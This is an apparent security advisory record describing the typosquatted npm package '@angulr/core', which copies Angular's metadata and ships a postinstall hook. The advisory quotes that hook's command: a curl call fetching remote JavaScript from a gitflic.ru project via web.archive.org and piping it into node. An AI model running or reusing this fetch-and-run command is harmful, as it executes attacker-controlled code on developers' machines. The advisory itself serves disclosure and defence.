Malicious code in @angulr/core (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c24dfd4b0a686b9056ff662e6fee53edfe23c7a94a5edf93fb4cace176216518) The npm package `@angulr/core` masquerades as Angular's `@angular/core` by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile `postinstall` script. The postinstall hook runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node`, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal `hellscripter` project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running `npm install @angulr/core` executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning.

Source published

5 Oct 2026 03:32:35 UTC

Source modified

5 Oct 2026 04:15:04 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.